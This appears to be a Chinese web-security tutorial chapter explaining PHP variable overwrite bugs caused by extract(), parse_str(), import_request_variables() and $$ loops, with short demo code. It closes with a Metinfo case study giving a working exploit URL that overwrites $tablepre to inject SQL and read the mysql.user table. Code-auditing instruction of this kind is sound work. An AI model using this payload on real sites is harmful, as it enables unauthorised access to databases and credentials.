6.1.1 挖掘经验
由于变量覆盖漏洞通常要结合应用其他功能代码来实现完整攻击,所以挖掘一个可用的变量覆盖漏洞不仅仅要考虑的是能够实现变量覆盖,还要考虑后面的代码能不能让这个漏洞利用起来。要挖可用的变量覆盖漏洞,一定要看漏洞代码行之前存在哪些变量可以覆盖并且后面有被使用到。
由函数导致的变量覆盖比较好挖掘,只要搜寻参数带有变量的 extract()、parse_str() 函数,然后去回溯变量是否可控,extract() 还要考虑它的第二个参数,具体细节我们后面在详细介绍这个函数的时候再讲。import_request_variables() 函数则相当于开了全局变量注册,这时候只要找哪些变量没有初始化并且操作之前没有赋值的,然后就大胆地去提交这个变量作为参数吧,另外只要写在 import_request_variables() 函数前面的变量,不管是否已经初始化都可以覆盖,不过这个函数在 PHP 4~4.1.0 和 PHP 5~5.4.0 的版本可用。
关于上面我们说到国内很多程序使用双$$符号注册变量会导致变量覆盖,我们可以通过搜“$$”这个关键字去挖掘,不过建议挖掘之前还是先把几个核心文件通读一遍,了解程序的大致框架。
6.1.1.1 函数使用不当
目前变量覆盖漏洞大多都是由于函数使用不正确导致的,这些函数有 extract()、parse_str() 以及 import_request_variables(),而其中最常见的就是 extract() 这个函数了,使用频率最高,导致的漏洞数量也最多,下面我们分别来看看这几个函数导致的漏洞原理吧。
1.extract 函数
extract() 函数覆盖变量需要一定条件,它的官方功能说明为“从数组中将变量导入到当前的符号表”,通俗讲就是将数组中的键值对注册成变量,函数结构如下:
int extract ( array &$var_array [ , int $extract_type = EXTR_OVERWRITE [ , string $prefix = NULL ]] )
最多三个参数,我们来看看这三个参数的作用,参见表 6-1。
表 6-1
从以上说明我们可以看到第一个参数是必须的,会不会导致变量覆盖漏洞由第二个参数决定,该函数有三种情况会覆盖掉已有变量,第一种是第二个参数为 EXTR_OVERWRITE,它表示如果有冲突,则覆盖已有的变量。第二种情况是只传入第一个参数,这时候默认为 EXTR_OVERWRITE 模式,而第三种则是第二个参数为 EXTR_IF_EXISTS,它表示仅在当前符号表中已有同名变量时,覆盖它们的值,其他的都不注册新变量。
为了更清楚地了解它的用法,我们来用代码来说明,测试代码如下:
<?php $b=3 ; $a=array ( 'b'=>'1' ); extract ( $a ); print_r ( $b );? >
测试结果如图 6-1 所示。
图 6-1
原本变量$b 的值为 3,经过 extract() 函数对变量$a 处理后,变量$b 的值被成功覆盖为了 1。
2.parse_str 函数
parse_str() 函数的作用是解析字符串并且注册成变量,它在注册变量之前不会验证当前变量是否已经存在,所以会直接覆盖掉已有变量。parse_str() 函数有两个参数,函数说明如下:
void parse_str ( string $str [ , array &$arr ] )
其中$str 是必须的,代表要解析注册成变量的字符串,形式为“a=1”,经过 parse_str() 函数之后会注册变量$a 并且赋值为 1。第二个参数$arr 是一个数组,当第二个参数存在时,注册的变量会放到这个数组里面,但是如这个数组原来就存在相同的键(key),则会覆盖掉原有的键值。
我们来测试一下,测试代码:
<?php $b=1 ; parse_str ( 'b=2' ); print_r ( $b );? >
测试结果可以看到变量$b 原有的值 1 被覆盖成了 2,如图 6-2 所示。
图 6-2
3.import_request_variables 函数
import_request_variables() 函数作用是把 GET、POST、COOKIE 的参数注册成变量,用在 register_globals 被禁止的时候,需要 PHP 4.1 至 5.4 之间的版本,不过建议是不开启 register_globals 也不要使用 import_request_variables() 函数,这样容易导致变量覆盖。该函数的说明如下:
bool import_request_variables ( string $types [ , string $prefix ] )
其中$type 代表要注册的变量,G 代表 GET,P 代表 POST,C 代表 COOKIE,所以当$type 为 GPC 的时候,则会注册 GET、POST、COOKIE 参数为变量。第二个参数$prefix 为要注册的变量前缀,这里我们不细说,来看看它是怎么覆盖变量的,测试代码如下:
<?php $b=1 ; import_request_variables ( 'GP' ); print_r ( $b );? >
从测试结果我们可以看到变量$b 的值 1 被覆盖成了 2,如图 6-3 所示。
图 6-3
6.1.1.2 $$变量覆盖
曾经有一段很经典的$$注册变量导致变量覆盖的代码,在很多应用上面都出现过这个问题,这段代码如下:
foreach ( array ( '_COOKIE' , '_POST' , '_GET' ) as $_request ) { foreach ( $$_request as $_key => $_value ) { $$_key = addslashes ( $_value ); } }
为什么它会导致变量覆盖呢,重点在$$符号,从代码中我们可以看出$_key 为 COOKIE、POST、GET 中的参数,比如提交?a=1,则$key 的值为 a,而还有一个$在 a 的前面,结合起来则是$a=addslashes($_value);所以这样会覆盖已有的变量$a 的值,我们用代码来解释会更清楚,代码如下:
<?php $a=1 ; foreach ( array ( '_COOKIE' , '_POST' , '_GET' ) as $_request ) { foreach ( $$_request as $_key => $_value ) { echo $_key.'<br />' ; $$_key = addslashes ( $_value ); } } echo $a ;? >
这段代码的执行结果如图 6-4 所示。从执行结果可以看出我们成功把变量$a 的值覆盖成了“2”。
图 6-4
6.1.1.3 Metinfo 变量覆盖漏洞分析
由于之前笔者挖到的这类漏洞没有记录,所以这里的案例是笔者临时看了一下 metinfo 的代码找的,我们尝试用它的变量覆盖漏洞进行 SQL 注入,在 metinfo 的 include/common.inc.php 文件中代码如下:
<?php /**** 省略 ******/ $db_settings = parse_ini_file ( ROOTPATH.'config/config_db.php' ); @extract ( $db_settings ); //require_once ROOTPATH.'config/tablepre.php' ; require_once ROOTPATH.'include/mysql_class.php' ; $db = new dbmysql (); $db->dbconn ( $con_db_host , $con_db_id , $con_db_pass , $con_db_name ); define ( 'MAGIC_QUOTES_GPC' , get_magic_quotes_gpc ()); isset ( $_REQUEST['GLOBALS'] ) && exit ( 'Access Error' ); require_once ROOTPATH.'include/global.func.php' ; foreach ( array ( '_COOKIE' , '_POST' , '_GET' ) as $_request ) { foreach ( $$_request as $_key => $_value ) { $_key{0} ! = '_' && $$_key = daddslashes ( $_value ); } } $query="select * from {$tablepre}config where name='met_tablename' and lang='metinfo'" ; $mettable=$db->get_one ( $query ); $mettables=explode ( '|' , $mettable[value] ); foreach ( $mettables as $key=>$val ) { $tablename='met_'.$val ; $$tablename=$tablepre.$val ; }
变量覆盖核心的代码如下:
foreach ( array ( '_COOKIE' , '_POST' , '_GET' ) as $_request ) { foreach ( $$_request as $_key => $_value ) { $_key{0} ! = '_' && $$_key = daddslashes ( $_value ); } }
这就是上面我们据介绍过的$$变量覆盖的经典代码,在这段代码之前的变量,我们都可以覆盖掉,包括数据库配置,这样就能搭建远程数据库服务以登录后台,不过我们只是为了说明这个漏洞,所以不搞那么复杂,可以看到下面有一个 SQL 语句中使用了$tablepre 变量:
$query="select * from {$tablepre}config where name='met_tablename' and lang='metinfo'" ;
这里我们只要覆盖这个变量即可进行 SQL 注入。举例一个 exp 为:
/include/common.inc.php?tablepre=mysql.user limit 1 %23
则执行的 SQL 语句为:
select * from mysql.user limit 1 #config where name='met_tablename' and lang='metinfo'
我们在以上代码的最后加上:
echo $tablepre.'<br/>' ; print_r ( $mettable ); exit ();
输出的执行结果已确认覆盖掉并且注入了 SQL 语句,请求结果证实确实成功利用,如图 6-5 所示。
图 6-5
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论